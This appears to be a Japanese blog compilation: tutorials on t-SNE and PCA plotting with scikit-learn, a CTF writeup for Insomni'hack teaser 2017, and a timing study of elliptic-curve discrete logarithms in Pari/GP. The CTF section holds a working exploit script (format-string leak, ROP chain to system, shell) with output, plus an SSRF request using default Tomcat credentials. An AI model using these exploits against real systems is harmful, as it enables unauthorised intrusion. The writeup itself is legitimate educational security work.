scikit-learnでt-SNE散布図を描いてみる
「scikit-learnでPCA散布図を描いてみる」では、scikit-learnを使ってPCA散布図を描いた。 ここでは、scikit-learnを使って非線形次元削減手法のひとつt-SNEで次元削減を行い、散布図を描いてみる。
環境
「scikit-learnでPCA散布図を描いてみる」を参照。
MNISTデータセットとPCA散布図
MNISTデータセットは0から9の手書き数字を表す8x8グレイスケール画像のデータセットであり、irisに並んで有名なサンプルデータセットである。
このデータセットについてPCA散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.decomposition import PCA digits = datasets.load_digits() print digits.data.shape # (1797, 64) print digits.target.shape # (1797,) X_reduced = PCA(n_components=2).fit_transform(digits.data) print X_reduced.shape # (1797, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target) plt.colorbar() # <matplotlib.colorbar.Colorbar at 0x7f880818e6d0>
PCA散布図はデータのばらつきをプロットするにはよいが、次元削減により主成分ベクトルが作る線形空間での近似となるため、PCAが仮定している多次元正規分布から大きく離れた分布に従うデータでは高次元の特徴量が持っていた情報の多くが失われてしまう。 このようなデータに対しては非線形次元削減あるいは多様体学習と呼ばれる手法を用いることで、高次元空間における距離をもとにした次元削減を行うことができる。 いくつかの手法の概要をまとめると次のようになる。
- Locally Linear Embedding (LLE): データポイント近傍での線形性を仮定する
- Spectral Embedding (Laplacian Eigenmaps): 距離の近いデータポイント同士を繋ぐことで得られるグラフ構造を用いる
- Multi-dimensional Scaling (MDS): データポイント間の距離の大小をできるだけ保つ
- t-Distributed Stochastic Neighbor Embedding (t-SNE): データポイント間の類似度を表現する条件付き確率をできるだけ保つ
ここでは、2、3次元への次元削減において高いパフォーマンスを示すt-SNEを用いる。
MNISTデータセットのt-SNE散布図を描いてみる
t-SNEで2次元に次元削減して散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.manifold import TSNE digits = datasets.load_digits() print digits.data.shape # (1797, 64) print digits.target.shape # (1797,) X_reduced = TSNE(n_components=2, random_state=0).fit_transform(digits.data) print X_reduced.shape # (1797, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target) plt.colorbar() # <matplotlib.colorbar.Colorbar at 0x7ff21173ee90>
上の結果から、データポイント間の距離をもとに、64次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。
関連リンク
scikit-learnでPCA散布図を描いてみる
高次元の特徴量を持つデータの分布をおおまかに把握する方法として、PCA（主成分分析）で次元削減した後散布図を描く方法がある。 ここでは、Dockerを用いてデータ分析プラットフォームAnaconda環境を構築し、scikit-learnを使ってPCA散布図を描いてみる。
環境
Ubuntu 16.04.1 LTS 64bit版、Docker 1.12.5
$ uname -a Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ docker --version Docker version 1.12.5, build 7392c3b
DockerでAnaconda環境を構築する
Anacondaはデータ分析・機械学習に特化したPythonディストリビューションであり、Numpy、Scipy、Matplotlib、Sympy、scikit-learn、pandasなどのライブラリやブラウザ上から対話的なスクリプト実行、プロット表示が行えるJupyter Notebookが標準でインストールされている。 今回はscikit-learnとMatplotlibしか使わないが、Jupyter Notebookを利用することでプロット結果の確認が簡単になるため、Anacondaを利用することにする。
Anacondaは公式でDockerイメージを提供しており、これを利用すると簡単に環境を構築することができる。
- Anaconda and Docker - Better Together for Reproducible Data Science | Continuum
- continuumio/anaconda - Docker Hub
$ docker pull continuumio/anaconda Using default tag: latest latest: Pulling from continuumio/anaconda 8ad8b3f87b37: Pull complete fa2bdab78aa4: Pull complete 074a37ca9de6: Pull complete 751e84aa2169: Pull complete Digest: sha256:6e2b524bce61a32b1a85bb4fc88ba8f2079e3b41d8b324250a3be35c45d7d9ee Status: Downloaded newer image for continuumio/anaconda:latest $ docker run -i -t -p 8888:8888 continuumio/anaconda /bin/bash -c "/opt/conda/bin/conda install jupyter -y --quiet && mkdir /opt/notebooks && /opt/conda/bin/jupyter notebook --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser"
サーバが起動したら、ブラウザからhttp://[host ip address]:8888/を開くことでJupyter Notebookにアクセスできる。
irisデータセットのPCA散布図を描いてみる
PCA（Principal Component Analysis; 主成分分析）は、高次元の特徴量を持つデータについて、元のデータのばらつきをよく表す低次元の合成変数を得る手法である。
ここでは分析対象として、有名なサンプルデータセットであるirisを用いることにする。
上の例を参考に、PCAで2次元に次元削減して散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.decomposition import PCA iris = datasets.load_iris() print iris.data.shape # (150, 4) print iris.target """ [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2] """ X_reduced = PCA(n_components=2).fit_transform(iris.data) print X_reduced.shape # (150, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=iris.target) # <matplotlib.collections.PathCollection at 0x7f5d087be4d0>
上の結果から、4次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。
Insomni'hack teaser 2017 供養（Writeup）
Insomni'hack teaser 2017に参加。250ptで93位。
baby (Pwn 50)
NX、PIE、FullRELROが有効なx86-64 ELF。
# file baby baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped # gdb -q ./baby Reading symbols from ./baby...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
TCP 1337で接続を待ち受けるfork server型になっており、
- Stack buffer overflow
- Format string bug
- Heap overflow
が自由に起こせるようになっている。
Format string bugでcanaryや実行ファイル、libcのベースアドレスをリークした後、Stack buffer overflowからROPして解いた。 libcのベースアドレスはmain関数からのリターンアドレスを使って計算することができる。
from minipwn import *
def stack_overflow(s, buf):
print recvuntil(s, '> ')
sendline(s, '1')
print recvuntil(s, '? ')
sendline(s, str(len(buf)+1))
sendline(s, buf)
print recvline(s)
def format_string(s, buf):
print recvuntil(s, '> ')
sendline(s, '2')
print recvuntil(s, '> ')
sendline(s, buf)
data = recvline(s)
print recvuntil(s, '> ')
sendline(s, '')
return data
#s = socket.create_connection(('localhost', 1337))
s = socket.create_connection(('baby.teaser.insomnihack.ch', 1337))
data = format_string(s, '%138$p.%139$p.%140$p.%158$p')
addrs = [int(x,16) for x in data.split('.')]
canary, saved_ebp, bin_base, libc_base = addrs[0], addrs[1], addrs[2]-0x19cf, addrs[3]-0x20830
print "[+] canary = %x" % canary
print "[+] saved_ebp = %x" % saved_ebp
print "[+] bin_base = %x" % bin_base
print "[+] libc_base = %x" % libc_base
addr_bss = bin_base + 0x0000000000203010
addr_csu_init1 = bin_base + 0x1c7e
addr_csu_init2 = bin_base + 0x1c68
addr_pop_rdi = bin_base + 0x1c8b
got_recv = bin_base + 0x202eb8
#libc_system = libc_base + 0x0000000000045380
#addr_pop_rcx = libc_base + 0x00050233
libc_system = libc_base + 0x0000000000045390
addr_pop_rcx = libc_base + 0x000fc3e2
buf = 'A' * 0x408
buf += p64(canary)
buf += 'BBBBBBBB'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, got_recv, 16, addr_bss, 4)
buf += p64(addr_pop_rcx) + p64(0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, 0, 0, 0, 0)
buf += p64(addr_pop_rdi) + p64(addr_bss)
buf += p64(libc_system)
stack_overflow(s, buf)
s.sendall('/bin/sh <&4 >&4\x00')
print "[+] got a shell!"
interact(s)
$ python test.py
Welcome to baby's first pwn.
Pick your favorite vuln :
1. Stack overflow
2. Format string
3. Heap Overflow
4. Exit
Your choice >
Simply type '\n' to return
Your format >
Your format >
[+] canary = 7971cd723454900
[+] saved_ebp = 7ffe526fc540
[+] bin_base = 55f1410d6000
[+] libc_base = 7f129d29e000
Welcome to baby's first pwn.
Pick your favorite vuln :
1. Stack overflow
2. Format string
3. Heap Overflow
4. Exit
Your choice >
How much bytes you want to send ?
Good luck !
[+] got a shell!
id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
ls
baby
flag
cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}
cryptoquizz (Misc/Crypto 50)
ランダムに与えられる暗号学者の生年を答える問題。 100回繋いでリストを作り、それぞれ対応するWikipediaのページから特定できるものを補完。 残りは人力でGoogle検索して埋めた。
from minipwn import *
data = """Arjen K. Lenstra [1956]
Lars Knudsen [1962]
Xuejia Lai [1954]
Daniel Bleichenbacher [1964]
Douglas Stinson [1956]
Claus-Peter Schnorr [1943]
Niels Ferguson [1965]
Yvo Desmedt [1956]
Ron Rivest [1947]
Antoine Joux [1967]
Michael O. Rabin [1931]
Jim Massey [1934]
Markus Jakobsson [1968]
Martin Hellman [1945]
Alex Biryukov [1969]
Yehuda Lindell [1971]
Joan Daemen [1965]
Horst Feistel [1915]
Kaisa Nyberg [1948]
Ralph Merkle [1952]
Paul Kocher [1973]
Paulo Barreto [1965]
Whitfield Diffie [1944]
Mitsuru Matsui [1961]
David Naccache [1967]
Phil Rogaway [1962]
Eli Biham [1960]
Adi Shamir [1952]
Ronald Cramer [1968]
Shai Halevi [1966]
Donald Davies [1924]
Moni Naor [1961]
Jacques Stern [1949]
Amos Fiat [1956]
Victor S. Miller [1947]
Paul van Oorschot [1962]
Nigel P. Smart [1967]
Serge Vaudenay [1968]
Ross Anderson [1956]
Dan Boneh [1969]
Jacques Patarin [1965]
Rafail Ostrovsky [1963]
Daniel J. Bernstein [1971]
Tatsuaki Okamoto [1952]
"""
birth_year = {}
for line in data.splitlines():
name, birth = line[:-1].split(' [')
birth_year[name] = birth
s = socket.create_connection(('quizz.teaser.insomnihack.ch', 1031))
print s.recv(8192)
while True:
data = s.recv(8192)
if not data:
break
m = re.search(r'~~ What is the birth year of (.+?) \?', data)
if m:
name = m.group(1)
print name, birth_year[name]
sendline(s, birth_year[name])
else:
print data
s.close()
$ python test.py
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ? ~~
~~ Now, you'll have to prove us that you are a genuine ~~
~~ cryptographer. ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Douglas Stinson 1956
Whitfield Diffie 1944
Lars Knudsen 1962
Antoine Joux 1967
David Naccache 1967
Donald Davies 1924
Jacques Stern 1949
Serge Vaudenay 1968
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ OK, young hacker. You are now considered to be a ~~
~~ INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE} ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bender_safe (Reverse 50)
MIPS ELF。
# file bender_safe bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped
16文字のチャレンジ文字列から計算される8文字のレスポンスを答える問題。 QEMUベースの高機能トレーサーqiraでトレースしながら、一文字ずつ計算式をリバーシングした。
下の図は3文字目の判定に失敗したあたりを見ているところ。 左側のレジスタ値とメモリのスナップショットを見ながら、右側のグラフでどのように比較される値が計算されているかを調べる。
from minipwn import *
#s = socket.create_connection(('localhost', 4000))
s = socket.create_connection(('bender_safe.teaser.insomnihack.ch', 31337))
print recvuntil(s, '\n')
print recvuntil(s, '\n')
otp = recvuntil(s, '\n')
print otp
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x00\x00\x00\x00-------------------------------'
buf = otp[0x0]
buf += otp[0xf]
buf += chr(ord(otp[0x7]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x7]) < 0x41 else chr(ord(otp[0x7]) ^ 0x4b ^ 0x61 ^ 0xa)
buf += table[table.index(otp[0x3]) - 0xa] if ord(otp[0x3]) < 0x41 else table[table.index(otp[0x3]) + 0xa]
buf += table[table.index(otp[0x4]) - 0xa] if ord(otp[0x4]) < 0x41 else table[table.index(otp[0x4]) + 0xa]
buf += table[abs(ord(otp[1])-ord(otp[2])) % 0x23]
buf += table[abs(ord(otp[5])-ord(otp[6])) % 0x23]
buf += chr(ord(otp[0x8]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x8]) < 0x41 else chr(ord(otp[0x8]) ^ 0x4b ^ 0x61 ^ 0xa)
sendline(s, buf)
interact(s)
$ python test.py
Welcome to Bender's passwords storage service
Here's your OTP challenge :
5FKU25OCL8GMEZZB
_
( )
H
H
_H_
.-'-.-'-.
/ \
| |
| .-------'._
| / / '.' '. \
| \ \ @ @ / /
| '---------'
| _______|
| .'-+-+-+|
| '.-+-+-+| INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}
| """""" |
'-.__ __.-'
"""
This is Bender's password vault storage
I have 54043195528445952 bytes of memory for storage!
Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
Your passwords are safe with me meatbag!
-------------------------------
| |
| 1. View passwords |
| 2. Enter new passwords |
| 3. View admin password |
| 4. Exit |
| |
-------------------------------
4
*** Connection closed by remote host ***
angrを使ったほうがよかったかもしれない。
smarttomcat (Web 50)
パラメータで与えられたURLにアクセスするスクリプトが置かれたウェブサイト。 Tomcat Manager（http://localhost:8080/manager/html）にアクセスさせるようにすると、401 Unauthorizedエラーが返ってくる。 デフォルトの設定ファイルでコメントアウトされているアカウント情報でBasic認証の突破を試みると、フラグが得られた。
$ curl -v 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http%3A%2F%2Ftomcat%3Atomcat%40localhost%3A8080%2Fmanager%2Fhtml'
* Trying 54.229.3.101...
* Connected to smarttomcat.teaser.insomnihack.ch (54.229.3.101) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: smarttomcat.teaser.insomnihack.ch
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 66
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 66 out of 66 bytes
< HTTP/1.1 200 OK
< Date: Sun, 22 Jan 2017 08:41:27 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 91
< Connection: keep-alive
< Server: Apache/2.4.18 (Ubuntu)
< Vary: User-Agent,Accept-Encoding
<
We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
* Connection #0 to host smarttomcat.teaser.insomnihack.ch left intact
The Great Escape - part 1 (Forensics 50)
pcapng形式のパケットキャプチャファイルが与えられる。 Wiresharkで開くと、FTPでssc.keyというファイル名で秘密鍵が転送されていることがわかる。
$ strings -n8 TheGreatEscape-3859f9ed7682e1857aaa4f2bcb5867ea6fe88c74.pcapng | awk '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/' -----BEGIN PRIVATE KEY----- MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8 WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0 mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn (snip) -----END PRIVATE KEY----- (snip)
この鍵がssc.teaser.insomnihack.chのサーバ鍵であると推測し、Wiresharkに52.214.142.175, 443, httpでssc.keyを追加してHTTPS通信の復号を試みたところ復号できた。
ログイン後のHTTPヘッダにフラグがある。
Frame 2236: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface 0
Linux cooked capture
Internet Protocol Version 4, Src: 172.31.36.141, Dst: 52.214.142.175
Transmission Control Protocol, Src Port: 51398, Dst Port: 443, Seq: 569, Ack: 153, Len: 578
Secure Sockets Layer
[2 Reassembled SSL segments (523 bytes): #2236(1), #2236(522)]
Hypertext Transfer Protocol
POST /api/user.php HTTP/1.1\r\n
Host: ssc.teaser.insomnihack.ch\r\n
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
Accept: application/json, text/plain, */*\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate, br\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Referer: https://ssc.teaser.insomnihack.ch/login\r\n
Content-Length: 38\r\n
Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3\r\n
FLAG: INS{OkThatWasWay2Easy}\r\n
Connection: keep-alive\r\n
\r\n
[Full request URI: https://ssc.teaser.insomnihack.ch/api/user.php]
[HTTP request 1/6]
[Response in frame: 2247]
[Next request in frame: 2248]
File Data: 38 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "action" = "login"
Form item: "name" = "rogue"
Form item: "password" = "rogue"
所感
50pt問題しか解くことができず厳しかった。 他に解きたかった問題は以下。
- The Great Escape - part 2 (Web 200)
- Shobot (Web 200)
- mindreader (Mobile 250)
Pari/GPで楕円曲線離散対数を計算してみる
「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」では、数式処理システムPari/GPを使ってECDH鍵交換、ECDSA署名の計算を行った。 これらの楕円曲線暗号は、楕円曲線離散対数問題（ECDLP）と呼ばれる問題が計算量的に困難であることを安全性の根拠としている。 ここでは、実際にbit数の小さな楕円曲線に対して楕円曲線離散対数を計算し、簡単に解けるbit数がどのくらいか調べてみる。
環境
Ubuntu 16.04.1 LTS 64bit版、Pari/GP 2.7.5、Intel Core i5-4200U (1.6GHz * 2 * 2)
$ uname -a Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ gp --version-short 2.7.5 $ grep "processor\|model name" /proc/cpuinfo processor : 0 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 1 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 2 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 3 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
楕円曲線離散対数問題（Elliptic Curve Discrete Logarithm Problem; ECDLP）
楕円曲線離散対数問題とは、有限体（mod p）上で定義した楕円曲線上の点G（生成元）と点Pについて、次の式を満たすnを求めるという問題である。
P = n * G
ここで、記号*は楕円曲線におけるスカラー倍を表す。
通常の（mod p上での）離散対数が乗法群の上で定義されるのに対し、楕円曲線の場合は加法群の上で定義されるため、計算としてはスカラー倍ではあるがアナロジー的に離散対数と呼ばれる。
通常の離散対数問題と同様に、楕円曲線離散対数問題を効率的に解く方法は見つかっておらず、十分大きなpをとったときこの計算を現実的な時間で行うことは難しいとされている。 NISTによる等価安全性の評価では、160bitの楕円曲線離散対数問題が1024bitの素因数分解問題に相当するとされており、小さな数でより安全な暗号を構成することができる。
Pari/GPにおける楕円曲線離散対数アルゴリズムの実装
Pari/GPでは、有限体上での楕円曲線に関するさまざまな関数が実装されており、離散対数はelllog関数で求めることができる。
ドキュメントには具体的な計算アルゴリズムが書かれていないため、その詳細をソースコードを追って調べると次のようになる。
6457 GEN
6458 elllog(GEN E, GEN a, GEN g, GEN o)
6459 {
6460 pari_sp av = avma;
6461 GEN fg, r;
6462 checkell_Fq(E); checkellpt(a); checkellpt(g);
6463 fg = ellff_get_field(E);
6464 if (!o) o = ellff_get_o(E);
6465 if (typ(fg)==t_FFELT)
6466 r = FF_elllog(E, a, g, o);
6467 else
6468 {
6469 GEN p = fg, e = ellff_get_a4a6(E);
6470 GEN Pp = FpE_changepointinv(RgE_to_FpE(a,p), gel(e,3), p);
6471 GEN Qp = FpE_changepointinv(RgE_to_FpE(g,p), gel(e,3), p);
6472 r = FpE_log(Pp, Qp, o, gel(e,1), p);
6473 }
6474 return gerepileuptoint(av, r);
6475 }
1426 GEN
1427 FF_elllog(GEN E, GEN P, GEN Q, GEN o)
1428 {
1429 pari_sp av = avma;
1430 GEN fg = ellff_get_field(E), e = ellff_get_a4a6(E);
1431 GEN r,T,p, Pp,Qp, e3;
1432 ulong pp;
1433 _getFF(fg,&T,&p,&pp);
1434 switch(fg[1])
1435 {
1436 case t_FF_FpXQ:
1437 e3 = FqV_to_FpXQV(gel(e,3),T);
1438 Pp = FpXQE_changepointinv(RgE_to_FpXQE(P,T,p), e3, T, p);
1439 Qp = FpXQE_changepointinv(RgE_to_FpXQE(Q,T,p), e3, T, p);
1440 r = FpXQE_log(Pp, Qp, o, gel(e,1), T, p);
1441 break;
1442 case t_FF_F2xq:
1443 Pp = F2xqE_changepointinv(RgE_to_F2xqE(P,T), gel(e,3), T);
1444 Qp = F2xqE_changepointinv(RgE_to_F2xqE(Q,T), gel(e,3), T);
1445 r = F2xqE_log(Pp, Qp, o, gel(e,1), T);
1446 break;
1447 default:
1448 Pp = FlxqE_changepointinv(RgE_to_FlxqE(P,T,pp), gel(e,3), T, pp);
1449 Qp = FlxqE_changepointinv(RgE_to_FlxqE(Q,T,pp), gel(e,3), T, pp);
1450 r = FlxqE_log(Pp, Qp, o, gel(e,1), T, pp);
1451 }
1452 return gerepileupto(av, r);
1453 }
1516 GEN
1517 FpXQE_log(GEN a, GEN b, GEN o, GEN a4, GEN T, GEN p)
1518 {
1519 pari_sp av = avma;
1520 struct _FpXQE e;
1521 e.a4=a4; e.T=T; e.p=p;
1522 return gerepileuptoint(av, gen_PH_log(a, b, o, (void*)&e, &FpXQE_group));
1523 }
577 /* grp->easylog() is an optional trapdoor function that catch easy logarithms*/
578 /* Generic Pohlig-Hellman discrete logarithm*/
579 /* smallest integer n such that g^n=a. Assume g has order ord */
580 GEN
581 gen_PH_log(GEN a, GEN g, GEN ord, void *E, const struct bb_group *grp)
582 {
...
602 for (i=1; i<l; i++)
603 {
...
623 for (j=0;; j++)
624 { /* n_q = sum_{i<j} b_i q^i */
625 b = grp->pow(E,a0, gel(qj,e-j));
626 /* early abort: cheap and very effective */
627 if (j == 0 && !grp->equal1(grp->pow(E,b,q))) {
628 avma = av; return cgetg(1, t_VEC);
629 }
630 b = gen_plog(b, g_q, q, E, grp);
631 if (typ(b) != t_INT) { avma = av; return cgetg(1, t_VEC); }
632 n_q = addii(n_q, mulii(b, gel(qj,j)));
633 if (j == e) break;
634
635 a0 = grp->mul(E,a0, grp->pow(E,ginv0, b));
636 ginv0 = grp->pow(E,ginv0, q);
637 }
638 gel(v,i) = mkintmod(n_q, gel(qj,e+1));
639 }
640 return gerepileuptoint(av, lift(chinese1_coprime_Z(v)));
641 }
520 /*Generic discrete logarithme in a group of prime order p*/
521 GEN
522 gen_plog(GEN x, GEN g, GEN p, void *E, const struct bb_group *grp)
523 {
524 if (grp->easylog)
525 {
526 GEN e = grp->easylog(E, x, g, p);
527 if (e) return e;
528 }
529 if (grp->equal1(x)) return gen_0;
530 if (grp->equal(x,g)) return gen_1;
531 if (expi(p)<32) return gen_Shanks_log(x,g,p,E,grp);
532 return gen_Pollard_log(x, g, p, E, grp);
533 }
要約すると次のようになる。
- Pohlig-Hellmanアルゴリズムで位数の素因数ごとに分解
- それぞれの素因数について、232未満ならBaby-step Giant-stepアルゴリズム、232以上ならPollard’s Rhoアルゴリズムで解く
Pohlig-Hellmanアルゴリズムは、中国の剰余定理を使って計算を高速化するものである。 RSAにおける中国の剰余定理の利用をイメージすると理解しやすい。
Pari/GPで楕円曲線離散対数を計算してみる
ここでは、楕円曲線として次の曲線を考える。
(from Wikimedia Commons)
32 bitの素数pをとって計算してみると次のようになる。
$ gp -q ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^32))); ? factor(E.no) [ 2 4] [ 7 1] [ 587 1] [65327 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 0 ms.
ここで、E.noは楕円曲線の位数、E.genはその位数となる生成元を意味する。
上の結果から、正しく楕円曲線離散対数が計算できていることがわかる。
続けて、bit数を徐々に大きくして計算してみる。
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^64))); ? factor(E.no) [ 2 3] [ 324301 1] [7110193951261 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 40,868 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^72))); ? factor(E.no) [ 2 1] [ 3 3] [ 13 1] [ 37 1] [ 1181 1] [153946902119671 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 40,652 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^80))); ? factor(E.no) [ 2 2] [ 3 1] [ 11 1] [ 31 1] [ 25111 1] [11765219119332439 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 6min, 3,176 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^88))); ? factor(E.no) [ 3 2] [ 63445780987 1] [541993853311213 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 10,601 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^96))); ? factor(E.no) [ 2 4] [ 5 2] [ 7 2] [ 79 1] [ 4227397 1] [12103845910958041 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 14min, 24,428 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^104))); ? factor(E.no) [ 2 1] [ 5 1] [ 53 1] [ 83 1] [ 209236176689 1] [2203579946128079 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 5min, 42,409 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^112))); ? factor(E.no) [ 3 2] [ 67 1] [ 214901400149 1] [40068488248358139191 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) ^C *** at top-level: elllog(E,P,G) *** ^------------- *** elllog: user interrupt after 6h, 41min, 47,320 ms *** Break loop: <Return> to continue; 'break' to go back to GP prompt break> ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^120))); ? factor(E.no) [ 3 2] [ 89 1] [ 1847 1] [ 381347 1] [ 31639547057 1] [74464534048783 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 21,056 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^128))); ? factor(E.no) [ 3 1] [ 41 1] [ 3411655459 1] [ 22003545559 1] [36853310066369891 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 28min, 969 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^136))); ? factor(E.no) [ 3 2] [ 7 1] [ 43 1] [ 5375779 1] [5981760200359529611202066470309 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^144))); ? factor(E.no) [ 2 2] [5575186299632655785385137905034729488784923 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^152))); ? factor(E.no) [ 3 2] [ 99007815273500183 1] [6406891275370833771228590437 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^160))); ? factor(E.no) [ 3 1] [ 1381217941 1] [352708430713639496569423242667877661011 1] ?
パラメータである素数pを基準に考えると、128bitが約30分で解けていることがわかる。 ただし、Pohlig-Hellmanアルゴリズムの原理からわかるように、実際の計算量に影響するのは位数の素因数のうち最大のものである。 これを考慮すると、56bitが約30分で解けている一方、66bitでは6時間以上の時間がかかることがわかる。
$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> len(bin(36853310066369891)[2:]) 56 >>> len(bin(40068488248358139191)[2:]) 66
以上からわかるように、安全な楕円曲線パラメータの条件のひとつとして、生成元Gに対する位数の最大素因数が大きい（理想的には位数が素数となる）ことがいえる。 実際に、「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」で用いた楕円曲線パラメータsecp256r1の位数は256 bitの素数となっている。
